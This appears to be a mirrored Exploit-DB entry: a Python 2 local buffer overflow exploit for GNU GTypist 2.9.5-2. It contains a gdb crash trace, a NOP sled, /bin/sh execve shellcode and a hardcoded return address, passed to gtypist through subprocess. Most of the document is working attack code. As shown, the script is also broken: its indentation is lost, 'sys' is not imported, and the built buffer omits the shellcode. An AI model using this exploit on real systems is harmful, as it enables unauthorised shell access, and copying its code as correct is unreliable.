GNU GTypist 2.9.5-2 – Local Buffer Overflow

• Exploit Database
• 11 阅读

• 作者： Juan Sacco
  日期： 2016-10-27
• 类别：

  • local
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/40634/

• # Exploit developed using Exploit Pack v6.5
  # Exploit Author: Juan Sacco - http://www.exploitpack.com -
  # jsacco@exploitpack.com
  # Program affected: GNU Typist
  # Affected value: ARG0
  # Version: 2.9.5-2
  #
  # Tested and developed under:Kali Linux 2.0 x86 - https://www.kali.org
  # Program description: Simple ncurses touch typing tutor
  # Displays exercise lines, measures your typing speed and
  # accuracy, and displays the results
  
  # Kali Linux 2.0 package: pool/main/g/gtypist/gtypist_2.9.5-2_i386.deb
  # MD5sum: 7ca59c5c0c494e41735b7be676401357
  # Website: http://www.gnu.org/software/gtypist/
  
  # gdb$ run `python -c 'print "A"*4098'`
  # 0xb7e95def in __strcpy_chk () from /lib/i386-linux-gnu/libc.so.6
  # 0x0804bf30 in ?? ()
  # 0xb7dbb5f7 in __libc_start_main () from /lib/i386-linux-gnu/libc.so.6
  # 0x0804c393 in ?? ()
  
  
  import os, subprocess
  
  def run():
  try:
  print "# GNU GTypist - Local Buffer Overflow by Juan Sacco"
  print "# This Exploit has been developed using Exploit Pack -
  http://exploitpack.com"
  # NOPSLED + SHELLCODE + EIP
  
  buffersize = 4098
  nopsled = "\x90"*30
  shellcode =
  "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
  eip = "\x08\xec\xff\xbf"
  buffer = nopsled * (buffersize-len(shellcode)) + eip
  subprocess.call(["gtypist ",' ', buffer])
  
  except OSError as e:
  if e.errno == os.errno.ENOENT:
  print "Sorry, GNU GTypist - Not found!"
  else:
  print "Error executing exploit"
  raise
  
  def howtousage():
  print "Snap! Something went wrong"
  sys.exit(-1)
  
  if __name__ == '__main__':
  try:
  print "Exploit GNU GTypist -Local Overflow Exploit"
  print "Author: Juan Sacco - Exploit Pack"
  except IndexError:
  howtousage()
  run()